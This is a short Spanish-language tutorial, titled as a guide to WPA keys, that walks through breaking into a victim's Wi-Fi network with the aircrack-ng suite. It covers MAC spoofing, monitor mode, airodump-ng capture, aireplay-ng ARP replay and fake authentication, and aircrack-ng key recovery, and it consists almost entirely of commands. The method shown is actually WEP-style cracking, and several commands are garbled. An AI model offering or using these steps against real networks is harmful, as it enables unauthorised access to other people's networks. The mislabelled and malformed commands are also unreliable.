Claves wpa

airmon-ng stop ath0

(esto es como para detener la tarjeta de red ath0) Despues escribimos: macchanger -m 11:22:33:44:55:66 wifi0

)esto es para cambiar nuesta direccion mac) Despues ponemosairmon-ng start wifi0

(esto es para activar nuestra tarjeta en modo monitor) Para saber que todo ha ido bien ponemos iwconfig

(en esta pantallita podemos ver que esta en modo monitor y ver quecambiamos la direccion mac) Despues buscamos las redes que hay al alcance airodump-ng ath0

Aqui debemos apuntar en una hojita lo siguiente: BSSID (xx:xx:xx:xx:xx:xx) CH (en este caso es 5) ESSID(Nombre de la RED) ya que tengamos estos datos, apretamos (control+C) y vremos que se detendra la pantalla anterior.. Despues ponemos.. airodump-ng --channel x --write xxx ath0 x= canal, como en el pasoanterio el 5 pues quedaria asi (--channel 5)

xxx= nombre, aqui pueden ponel elnombre que quieran, pero acuerdense de lo que ponen, y en mi caso quedaria asi (--write pass) airodump-ng --channel 5--write pass ath0 (hasta aqui vamos bien?)

(aqui tendremos una pantallita similar a la anterior) Ahora abrimos otra shell... y en ella ponemos: aireplay-ng -3 -b (mac de la victima) -h (nuestra mac)ath0 y pues quedaria mas o menos asi; aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h 11:22:33:44:55:66

(esto es para empezar a capturar datos ARP) Ahora abrimos otra shell y escribimos: aireplay-ng -1 0 -e(ESSID) -a (BSSID) -h (nuestra mac) ath0 a mi me quedaria asi: aireplay-ng -1 0 ESSID -a xx:xx:xx:xx:xx:xx -h 11:22:33:44:55:66 ath0

y veremos que los ARP empiezan a subir de volada.... hasta estepaso debemos de tener dos shell's abrietas

Ahora podemos ver que despues de 10 minutos ya tenemos 62160 ARP, con eso es mas que suficiente, ahora a las dos shell's las cancelamos, en cada unaapretamos (control+C)

Ya estamos en lo ultimo, ahora abrimos otra shell y escribimos: aircrack-ng xx-01.cap xx= el nombre que les dije que se acordaran, en mi caso es (pass) aircrack-ng pass-01.cap...